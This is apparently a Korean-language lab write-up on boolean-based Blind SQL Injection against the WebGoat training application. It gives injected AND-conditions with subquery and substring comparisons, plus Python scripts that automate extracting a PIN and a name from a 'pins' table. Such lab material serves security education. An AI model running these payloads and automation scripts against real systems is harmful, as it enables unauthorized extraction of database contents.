이번에는 저번에 다루지 못했던 Blind SQL Injection
에 대해서 살펴보자. Blind SQL Injection
은 SQL Injection
의 종류이지만, 말 그대로 Blind
, 즉 특정 값이나 테이블, 데이터베이스의 정보가 없는 상황에서 정보를 뽑아내는 기법이다.
Blind SQL Injection
은 and
연산을 이용하여 화면상에 출력되는 결과를 보고 값을 추정하는 기법이다. 바로 실습으로 들어가보자.
이 문제의 목표는 pins
라는 테이블에서 cc_number
가1111222233334444
인 사람의 pin
값을 가져오는것이 목표이다. 우선 기본으로 적혀있는 101
을 전송해보자.
Account number is valid.
결과는 Account number
가 valid
하다고 한다. 그렇다면 다른 수도 넣어보자.
5555
라는 값을 입력했더니 Invalid
한 번호라고 나온다.
여기서 추론할 수 있는 부분은 앞의 쿼리는 어떤 형식인지 모르겠지만, 기존쿼리 where account_number=?
의 형식이라고 생각할 수 있다. 그렇다면 기존쿼리 where account_number=101
의 논리가 참이므로 and
연산을 이용해 뒤에 특정 조건문 혹은 쿼리를 붙일 수 있다.
기존쿼리 where account_number=101 and (select pin from pins where cc_number='1111222233334444') > 0
라는 식으로 쿼리문을 전송한 후 결과를 살펴보자.
valid
하다고 나온다. 그렇다면 5000을 넣어보자.
Invalid
라는 결과가 나온다.
따라서 우리는 select pin from pins where cc_number='1111222233334444'
라는 쿼리의 결과가 0보다 크고 5000보다 작다는 걸 알 수 있다. 이 과정을 반복해서 줄여나가보면 문제를 풀 수 있다.
이번 문제의 목표는 아까처림 pin
이 아닌 name
을 추출하는 것이다. 문자열 추출을 위해서는 쿼리문의 substring
함수에 대해 알아야 하는데, substring
함수의 사용법은 다음과 같다.
주어진 문자열이
security
라고 가정해보자.
substring
의 사용법은substring(문자열, 시작 인덱스(1부터 시작), 가져올 문자의 개수)
형식이다.
즉,substring('security', 1, 1)
은 security의 첫번째 글자부터 1개를 가져오는 것이므로s
에 해당한다.
해당 방식으로 문자를 한개씩 추출한 다음, 문자의 아스키 값을 비교하여 해당 문자를 특정하는 것이다.
첫번째 글자를 추출해보자.
101 and substring(select name from pins where cc_number='4321432143214321', 1, 1) > 'A'
라는 쿼리를 보내니 valid
가, 101 and substring(select name from pins where cc_number='4321432143214321', 1, 1) > 'a'
라는 쿼리를 보내니 invalid
가 나오는 것을 보면 첫번째 문자는 A보다 크고 a보다 작은 것을 알 수 있다. 이러한 방법으로 진행하다보면 답을 찾을 수 있다.
손으로 하나하나 찾아도 위의 두 문제 같은 경우는 쉽게 찾을 수 있지만, 만약 문자열의 길이가 길거나 찾기 어려운 경우는 python
을 이용하는 것이 효율적일 수 있다. 첫 번째 문제부터 풀어보자.
import requests
from bs4 import BeautifulSoup
url = 'http://webgoat7.com/WebGoat/attack?Screen=586116895&menu=1100'
cookies = {'JSESSIONID':'27ECDE6D05CC10D2041A0D3673AEA3ED'}
post_data = {'account_number':'101', 'SUBMIT':'Go!'}
response = requests.post(url, cookies=cookies, data=post_data)
html = response.text
soup = BeautifulSoup(html, 'html.parser')
print(soup.prettify())
해당 문제의 url
과 cookie
, 그리고 POST
방식으로 전송하는 데이터를 모두 넣어 Python
으로 접속한 후 출력해보았다.
정상적으로 잘 접속되는 것을 볼 수 있다. 이제 우리가 필요한 부분을 추출해보자. 우리가 필요한 부분은 입력한 쿼리에 따라 변하는 부분이므로 해당 부분을 개발자 도구를 이용해서 추출해주겠다. 해당 부분인 Account number is valid
를 inspect
하여 셀렉터를 복사한 후 추출해보자.
target_sentence = soup.select('#lesson-content-wrapper > div:nth-child(3) > form:nth-child(1) > p:nth-child(2)')
print(target_sentence)
분명히 셀렉터를 복사해서 출력했지만 아무것도 나오지 않는다. 그렇다면 아까 전의 결과 화면에서 타겟 문장이 p
태그 내부에 있었기 때문에 p
태그를 모두 찾아서 출력해보자.
target_sentence = soup.find_all('p')
print(target_sentence)
p
태그는 정상적으로 잘 출력됐다. 우리가 찾는 문장은 리스트의 맨 마지막 인덱스에 위치해있으므로 따로 추출해주도록 하자.
target_sentence = soup.find_all('p')[-1].text
print(target_sentence)
타겟 문장을 성공적으로 추출한 모습이다. 이제 전송할 post_data
에 쿼리문을 삽입한 후 반복문을 이용해서 답을 찾아보자.
import requests
from bs4 import BeautifulSoup
url = 'http://webgoat7.com/WebGoat/attack?Screen=586116895&menu=1100'
cookies = {'JSESSIONID':'27ECDE6D05CC10D2041A0D3673AEA3ED'}
# 타겟 문장의 결과를 저장할 리스트
flags = []
# 타겟 변수
pin = 0
for i in range(100000):
post_data = {"account_number":"101 and (select pin from pins where cc_number='1111222233334444' > %d)"%i, "SUBMIT":"Go!"}
response = requests.post(url, cookies=cookies, data=post_data)
html = response.text
soup = BeautifulSoup(html, 'html.parser')
flags.append(soup.find_all('p')[-1].text)
if i > 0:
if flags[i] != flags[i-1]:
pin = i
break
print(f'pin: {pin}')
넉넉하게 루프를 10만으로 설정한 후, 값을 올려가면서 서버에 쿼리를 던지고 결과로 나오는 타겟 문장들을 flags
리스트에 저장했다. 만약 이전 루프에서 저장한 flag
와 현재 루프의 flag
가 다르다면 반복문을 빠져나오고 pin
을 출력하는 방식이다.
잘 동작하는것을 볼 수 있다.
같은 방법으로 지난 글에서 사용했던 쿼리문을 전송해보자. 우선 반복문을 작성하기 전에 우리의 타겟문장부터 추출해보자.
import requests
from bs4 import BeautifulSoup
url = 'http://webgoat7.com/WebGoat/attack?Screen=1315528047&menu=1100'
cookies = {'JSESSIONID': '27ECDE6D05CC10D2041A0D3673AEA3ED'}
post_data = {'account_number': "101 and substring(select name from pins where cc_number = '4321432143214321', 1, 1) > 'A'", 'SUBMIT': 'Go!'}
response = requests.post(url, cookies=cookies, data=post_data)
html = response.text
soup = BeautifulSoup(html, 'html.parser')
target_sentence = soup.find_all('p')[-1].text
print(target_sentence)
동일한 방식으로 잘 추출할 수 있었다. 우선 기본적으로 이 문제의 답을 알고 있는 상황이고, 문제의 답은 알파벳 안에 있기 때문에 탐색 범위를 알파벳으로 한정해보자.
alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
라는 문자열 변수를 선언한 후 해당 문자열의 요소에 대해서만 반복문을 실행한다.
import requests
from bs4 import BeautifulSoup
alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
url = 'http://webgoat7.com/WebGoat/attack?Screen=1315528047&menu=1100'
cookies = {'JSESSIONID': '27ECDE6D05CC10D2041A0D3673AEA3ED'}
answer = []
for i in range(1, 100):
flags = []
for char in alphabet:
post_data = {'account_number': "101 and substring(select name from pins where cc_number = '4321432143214321', " + str(i) + ", 1) >= '" + char + "'", 'SUBMIT': 'Go!'}
response = requests.post(url, cookies=cookies, data=post_data)
html = response.text
soup = BeautifulSoup(html, 'html.parser')
flags.append(soup.find_all('p')[-1].text)
if 'Account number is valid' not in flags:
break
elif flags[len(flags) - 1] != flags[len(flags) - 2]:
answer.append(alphabet[alphabet.index(char) - 1])
print(''.join(answer))
바깥 루프를 한번씩 실행할 때마다 각 문자들에 대한 플래그를 저장하고, 마지막으로 저장한 플래그와 그 이전에 저장한 플래그가 다르면 해당 문자의 이전 문자를 answer
에 추가한 후 루프가 끝나고 출력했다.
답이 잘 출력되는것을 확인할 수 있다.